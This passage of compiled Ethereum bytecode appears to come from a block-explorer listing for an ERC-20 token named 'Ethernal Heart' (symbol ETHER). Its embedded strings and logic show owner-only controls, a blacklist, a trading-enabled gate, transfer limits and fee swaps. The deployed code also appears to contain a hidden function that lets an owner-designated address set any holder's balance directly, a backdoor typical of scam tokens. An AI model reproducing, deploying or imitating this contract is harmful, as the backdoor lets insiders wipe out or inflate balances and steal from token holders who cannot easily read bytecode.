fffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e0a611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e906128e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906129b9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808303610fd55760009050611037565b60008284610fe39190612a08565b9050828482610ff29190612a79565b14611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102990612b1c565b60405180910390fd5b809150505b92915050565b600061107f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611eb6565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f590612bae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116490612c40565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124b9190612786565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90612cd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132d90612d64565b60405180910390fd5b60008111611379576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137090612df6565b60405180910390fd5b611381610b1a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113ef57506113bf610b1a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117dd57601860149054906101000a900460ff161561147f57611411610b1a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590612e88565b60405180910390fd5b5b6019548111156114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb90612ef4565b60405180910390fd5b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115685750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612f86565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461165457601a548161160984610978565b6116139190612fa6565b10611653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164a9061304c565b60405180910390fd5b5b600061165f30610978565b90506000601b548210159050601954821061167a5760195491505b8080156116945750601860159054906101000a900460ff16155b80156116ee5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117065750601860169054906101000a900460ff165b801561175c5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117b25750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117da576117c082611c3d565b600047905060008111156117d8576117d747611b42565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118845750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119375750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119365750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156119455760009050611acc565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119f05750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a0857600a54600e81905550600b54600f819055505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ab35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611acb57600c54600e81905550600d54600f819055505b5b611ad884848484611f19565b50505050565b6000838311158290611b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1d919061259f565b60405180910390fd5b5060008385611b35919061306c565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b9260028461103d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bbd573d6000803e3d6000fd5b50601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c0e60028461103d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c39573d6000803e3d6000fd5b5050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c7557611c746130a0565b5b604051908082528060200260200182016040528015611ca35781602001602082028036833780820191505090505b5090503081600081518110611cbb57611cba6130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d869190613113565b81600181518110611d9a57611d996130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e0130601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461108f565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e65959493929190613239565b600060405180830381600087803b158015611e7f57600080fd5b505af1158015611e93573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b60008083118290611efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef4919061259f565b60405180910390fd5b5060008385611f0c9190612a79565b9050809150509392505050565b80611f2757611f26611f46565b5b611f32848484611f83565b80611f4057611f3f61214e565b5b50505050565b6000600e54148015611f5a57506000600f54145b611f8157600e54601081905550600f546011819055506000600e819055506000600f819055505b565b600080600080600080611f9587612162565b955095509550955095509550611ff386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ca90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061208885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120d481612272565b6120de848361232f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161213b9190612786565b60405180910390a3505050505050505050565b601054600e81905550601154600f81905550565b600080600080600080600080600061217f8a600e54600f54612369565b925092509250600061218f6123ff565b905060008060006121a28e87878761242a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061220c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ade565b905092915050565b60008082846122239190612fa6565b905083811015612268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225f906132df565b60405180910390fd5b8091505092915050565b600061227c6123ff565b905060006122938284610fc390919063ffffffff16565b90506122e781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612344826007546121ca90919063ffffffff16565b60078190555061235f8160085461221490919063ffffffff16565b6008819055505050565b6000806000806123956064612387888a610fc390919063ffffffff16565b61103d90919063ffffffff16565b905060006123bf60646123b1888b610fc390919063ffffffff16565b61103d90919063ffffffff16565b905060006123e8826123da858c6121ca90919063ffffffff16565b6121ca90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600061240c6124b3565b91509150612423818361103d90919063ffffffff16565b9250505090565b6000806000806124438589610fc390919063ffffffff16565b9050600061245a8689610fc390919063ffffffff16565b905060006124718789610fc390919063ffffffff16565b9050600061249a8261248c85876121ca90919063ffffffff16565b6121ca90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080600060075490506000662386f26fc1000090506124e5662386f26fc1000060075461103d90919063ffffffff16565b82101561250257600754662386f26fc1000093509350505061250b565b81819350935050505b9091565b600081519050919050565b600082825260208201905092915050565b60005b8381101561254957808201518184015260208101905061252e565b60008484015250505050565b6000601f19601f8301169050919050565b60006125718261250f565b61257b818561251a565b935061258b81856020860161252b565b61259481612555565b840191505092915050565b600060208201905081810360008301526125b98184612566565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125f1826125c6565b9050919050565b612601816125e6565b811461260c57600080fd5b50565b60008135905061261e816125f8565b92915050565b60006020828403121561263a576126396125c1565b5b60006126488482850161260f565b91505092915050565b6000819050919050565b61266481612651565b811461266f57600080fd5b50565b6000813590506126818161265b565b92915050565b6000806040838503121561269e5761269d6125c1565b5b60006126ac8582860161260f565b92505060206126bd85828601612672565b9150509250929050565b60008115159050919050565b6126dc816126c7565b82525050565b60006020820190506126f760008301846126d3565b92915050565b6000819050919050565b600061272261271d612718846125c6565b6126fd565b6125c6565b9050919050565b600061273482612707565b9050919050565b600061274682612729565b9050919050565b6127568161273b565b82525050565b6000602082019050612771600083018461274d565b92915050565b61278081612651565b82525050565b600060208201905061279b6000830184612777565b92915050565b6000806000606084860312156127ba576127b96125c1565b5b60006127c88682870161260f565b93505060206127d98682870161260f565b92505060406127ea86828701612672565b9150509250925092565b600060ff82169050919050565b61280a816127f4565b82525050565b60006020820190506128256000830184612801565b92915050565b612834816125e6565b82525050565b600060208201905061284f600083018461282b565b92915050565b6000806040838503121561286c5761286b6125c1565b5b600061287a8582860161260f565b925050602061288b8582860161260f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128cb60208361251a565b91506128d682612895565b602082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b50565b600061291160008361251a565b915061291c82612901565b600082019050919050565b6000602082019050818103600083015261294081612904565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129a360268361251a565b91506129ae82612947565b604082019050919050565b600060208201905081810360008301526129d281612996565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a1382612651565b9150612a1e83612651565b9250828202612a2c81612651565b91508282048414831517612a4357612a426129d9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a8482612651565b9150612a8f83612651565b925082612a9f57612a9e612a4a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b0660218361251a565b9150612b1182612aaa565b604082019050919050565b60006020820190508181036000830152612b3581612af9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b9860248361251a565b9150612ba382612b3c565b604082019050919050565b60006020820190508181036000830152612bc781612b8b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c2a60228361251a565b9150612c3582612bce565b604082019050919050565b60006020820190508181036000830152612c5981612c1d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612cbc60258361251a565b9150612cc782612c60565b604082019050919050565b60006020820190508181036000830152612ceb81612caf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d4e60238361251a565b9150612d5982612cf2565b604082019050919050565b60006020820190508181036000830152612d7d81612d41565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612de060298361251a565b9150612deb82612d84565b604082019050919050565b60006020820190508181036000830152612e0f81612dd3565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612e72603f8361251a565b9150612e7d82612e16565b604082019050919050565b60006020820190508181036000830152612ea181612e65565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612ede601c8361251a565b9150612ee982612ea8565b602082019050919050565b60006020820190508181036000830152612f0d81612ed1565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000612f7060238361251a565b9150612f7b82612f14565b604082019050919050565b60006020820190508181036000830152612f9f81612f63565b9050919050565b6000612fb182612651565b9150612fbc83612651565b9250828201905080821115612fd457612fd36129d9565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061303660238361251a565b915061304182612fda565b604082019050919050565b6000602082019050818103600083015261306581613029565b9050919050565b600061307782612651565b915061308283612651565b925082820390508181111561309a576130996129d9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061310d816125f8565b92915050565b600060208284031215613129576131286125c1565b5b6000613137848285016130fe565b91505092915050565b6000819050919050565b600061316561316061315b84613140565b6126fd565b612651565b9050919050565b6131758161314a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131b0816125e6565b82525050565b60006131c283836131a7565b60208301905092915050565b6000602082019050919050565b60006131e68261317b565b6131f08185613186565b93506131fb83613197565b8060005b8381101561322c57815161321388826131b6565b975061321e836131ce565b9250506001810190506131ff565b5085935050505092915050565b600060a08201905061324e6000830188612777565b61325b602083018761316c565b818103604083015261326d81866131db565b905061327c606083018561282b565b6132896080830184612777565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006132c9601b8361251a565b91506132d482613293565b602082019050919050565b600060208201905081810360008301526132f8816132bc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220791480375cab03e7d7eb81d3bee446d84d6782bb496cb7688b74e385803659f964736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd792841461046b578063c3c8cd80146104a8578063c6067ce3146104bf578063d00efb2f146104e8578063dd62ed3e14610513578063f2fde38b1461055057610156565b8063715018a61461036b5780637d1db4a5146103825780638da5cb5b146103ad5780638f9a55c0146103d857806395d89b4114610403578063a9059cbb1461042e57610156565b80632fd689e3116101085780632fd689e31461027f578063313ce567146102aa57806349bd5a5e146102d557806363dd5712146103005780636fc3eaec1461031757806370a082311461032e57610156565b806306fdde031461015b57806307980cb914610186578063095ea7b3146101af5780631694505e146101ec57806318160ddd1461021757806323b872dd1461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610579565b60405161017d919061259f565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612624565b6105b6565b005b3480156101bb57600080fd5b506101d660048036038101906101d19190612687565b61068f565b6040516101e391906126e2565b60405180910390f35b3480156101f857600080fd5b506102016106ad565b60405161020e919061275c565b60405180910390f35b34801561022357600080fd5b5061022c6106d3565b6040516102399190612786565b60405180910390f35b34801561024e57600080fd5b50610269600480360381019061026491906127a1565b6106e2565b60405161027691906126e2565b60405180910390f35b34801561028b57600080fd5b506102946107bb565b6040516102a19190612786565b60405180910390f35b3480156102b657600080fd5b506102bf6107c1565b6040516102cc9190612810565b60405180910390f35b3480156102e157600080fd5b506102ea6107ca565b6040516102f7919061283a565b60405180910390f35b34801561030c57600080fd5b506103156107f0565b005b34801561032357600080fd5b5061032c6108a7565b005b34801561033a57600080fd5b5061035560048036038101906103509190612624565b610978565b6040516103629190612786565b60405180910390f35b34801561037757600080fd5b506103806109c1565b005b34801561038e57600080fd5b50610397610b14565b6040516103a49190612786565b60405180910390f35b3480156103b957600080fd5b506103c2610b1a565b6040516103cf919061283a565b60405180910390f35b3480156103e457600080fd5b506103ed610b43565b6040516103fa9190612786565b60405180910390f35b34801561040f57600080fd5b50610418610b49565b604051610425919061259f565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190612687565b610b86565b60405161046291906126e2565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d9190612624565b610ba4565b60405161049f91906126e2565b60405180910390f35b3480156104b457600080fd5b506104bd610bc4565b005b3480156104cb57600080fd5b506104e660048036038101906104e19190612687565b610c9d565b005b3480156104f457600080fd5b506104fd610d75565b60405161050a9190612786565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190612855565b610d7b565b6040516105479190612786565b60405180910390f35b34801561055c57600080fd5b5061057760048036038101906105729190612624565b610e02565b005b60606040518060400160405280600e81526020017f45746865726e616c204865617274000000000000000000000000000000000000815250905090565b6105be611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610642906128e1565b60405180910390fd5b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006106a361069c611087565b848461108f565b6001905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006106ef848484611258565b6107b0846106fb611087565b6107ab8560405180606001604052806028815260200161330060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610761611087565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ade9092919063ffffffff16565b61108f565b600190509392505050565b601b5481565b60006009905090565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107f8611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c906128e1565b60405180910390fd5b68056bc75e2d6310000060198190555068056bc75e2d63100000601a81905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e8611087565b73ffffffffffffffffffffffffffffffffffffffff16148061095e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610946611087565b73ffffffffffffffffffffffffffffffffffffffff16145b61096757600080fd5b600047905061097581611b42565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c9611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d906128e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60195481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600581526020017f4554484552000000000000000000000000000000000000000000000000000000815250905090565b6000610b9a610b93611087565b8484611258565b6001905092915050565b60126020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c05611087565b73ffffffffffffffffffffffffffffffffffffffff161480610c7b5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c63611087565b73ffffffffffffffffffffffffffffffffffffffff16145b610c8457600080fd5b6000610c8f30610978565b9050610c9a81611c3d565b50565b3373ffffffffffffffffffffffffffffffffffffffff16601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490612927565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60095481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e0a611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e906128e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906129b9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808303610fd55760009050611037565b60008284610fe39190612a08565b9050828482610ff29190612a79565b14611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102990612b1c565b60405180910390fd5b809150505b92915050565b600061107f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611eb6565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f590612bae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116490612c40565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124b9190612786565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90612cd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132d90612d64565b60405180910390fd5b60008111611379576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137090612df6565b60405180910390fd5b611381610b1a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113ef57506113bf610b1a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117dd57601860149054906101000a900460ff161561147f57611411610b1a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590612e88565b60405180910390fd5b5b6019548111156114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb90612ef4565b60405180910390fd5b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115685750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612f86565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461165457601a548161160984610978565b6116139190612fa6565b10611653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164a9061304c565b60405180910390fd5b5b600061165f30610978565b90506000601b548210159050601954821061167a5760195491505b8080156116945750601860159054906101000a900460ff16155b80156116ee5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117065750601860169054906101000a900460ff165b801561175c5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117b25750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117da576117c082611c3d565b600047905060008111156117d8576117d747611b42565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118845750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119375750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119365750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156119455760009050611acc565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119f05750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a0857600a54600e81905550600b54600f819055505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ab35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611acb57600c54600e81905550600d54600f819055505b5b611ad884848484611f19565b50505050565b6000838311158290611b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1d919061259f565b60405180910390fd5b5060008385611b35919061306c565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffff